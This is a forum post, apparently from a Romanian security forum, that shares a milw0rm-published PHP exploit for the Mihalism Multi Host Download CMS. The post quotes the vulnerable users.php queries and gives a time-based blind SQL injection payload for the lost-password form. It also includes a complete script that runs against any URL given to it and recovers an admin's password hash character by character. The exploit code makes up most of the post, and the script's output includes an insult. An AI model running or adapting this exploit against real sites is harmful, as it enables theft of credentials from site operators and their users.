Jump to content
moubik

Mihalism Multi Host Download - Blind SQL Injection Attack

Recommended Posts

Am pus un exploit pe milworm.

http://milw0rm.com/exploits/5074


<?php

/*
###############################################################################
#
# Moubik ( Romanian Security Team - [url]http://rstcenter.com[/url] ) presents
#
# Mihalism Multi Host Download - Blind SQL Injection Attack
#
# Thanks to Vladii for telling me about the CMS.
# Thanks to Shocker for telling Vladii about the CMS.
#
#
# Shoutz to Kw3rln, Bankai, Slick, Nemessis
# Visit [url]http://rstcenter.com[/url]
# Visit [url]http://websecurity.ro[/url]
#
# Ride as high as possible
#
#
# Vulnerable Code is everywhere.
# I'll talk about users.php
#
###############################################################################*

We have the code

Line 107:
$DB->query("SELECT * FROM `".SQL_USERS_TABLE."` WHERE `user_name` = '".$_POST['user_name']."'");

Line 112:
$DB->query("INSERT INTO `".SQL_USERS_TABLE."` VALUES('', '".$_POST['user_name']."', '".md5($_POST['user_pass_1'])."', '', '".$_SERVER['REMOTE_ADDR']."', '".$_POST['user_email']."', '".$_POST['private']."', '".time()."', 'NORMAL', '".$_POST['country']."', '".$dob."', '".$_POST['gender']."')");

............

I'll create the query for lost password.
Click "Lost Password" and enter the SQL Injection in Username. The email address you could just leave it empty

Injection:
' UNION SELECT IF ( SUBSTRING(password,1,1) = '1', BENCHMARK(2000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8,9,10,11,12 from mmh_user_data where user_id='1

The password is saved in hashed form so you only search for 0..9, a..f and you have the admin's hash

This vulnerable code is:
$DB->query("SELECT * FROM `".SQL_USERS_TABLE."` WHERE `user_name` = '{$_POST['username']}'");

So the query becomes:
SELECT * FROM `mmh_user_data` WHERE `user_name` = '' UNION SELECT IF ( SUBSTRING(password,1,1) = '1', BENCHMARK(20000000, ENCODE('a','b')), 1 )
,2,3,4,5,6,7,8,9,10,11,12 from mmh_user_data where user_id='1'

Delay-ing the response if the first character of the admin's hash is equal to '1'

*/

function goto_help()
{
echo "-----------------------------------------------------------------------------------------\n";
echo "* Usage php ". $argv[0] ." [full_link] [userid] \n";
echo "* example:\n";
echo "* php ". $argv[0] ." [url]http://localhost/multihost/users.php?act=lost_password_go[/url] 1 \n";
echo "-----------------------------------------------------------------------------------------\n";
exit();
}


$chars = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f');

$host = $argv[1];
$userid = (empty($argv[2]) == true ? 1 : $argv[2]);

if (empty ($argv[1]))
{
goto_help();
}

echo "---------------------------------------------------\n";
echo "Starting to exploit $host\n";
echo "Userid exploited is $userid\n";
echo "---------------------------------------------------\n";

$hash = "";

$conn = curl_init();
curl_setopt($conn, CURLOPT_POST, true);
curl_setopt($conn, CURLOPT_URL, $host);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, true);

for ($length = 1 ; $length <= 32 ; $length++)
{
for ($char = 0 ; $char <= 16 ; $char++)
{
$query = "' UNION SELECT IF ( SUBSTRING(password,". $length .",1) = '". $chars[$char] ."', BENCHMARK(20000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8,9,10,11,12 from mmh_user_data where user_id='". $userid;
//echo $query ."\n";
$start = time(); $end = $start;
curl_setopt($conn, CURLOPT_POSTFIELDS, 'username='. urlencode($query) .'&user_email=1');
curl_exec( $conn );
$end = time();

//if we have a hit
if (($end - $start) > 5)
{
echo "possible hit for ". $chars[$char] ."\n";
$hash .= $chars[$char];
break;
}
else
{
echo $chars[$char]. " ";
}
}
}


echo "---------------------------------------------------\n";
echo "* Exploit made by Moubik\n";
echo "* Romanian Security Zone - http://rstcenter.com/\n";
echo "* esc6 esti un retardat\n";
echo "---------------------------------------------------\n";
echo "* Hash found for userid=". $userid . "\n";
echo "* hash=". $hash . "\n";
echo "---------------------------------------------------\n";


?>

# milw0rm.com [2008-02-06]

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...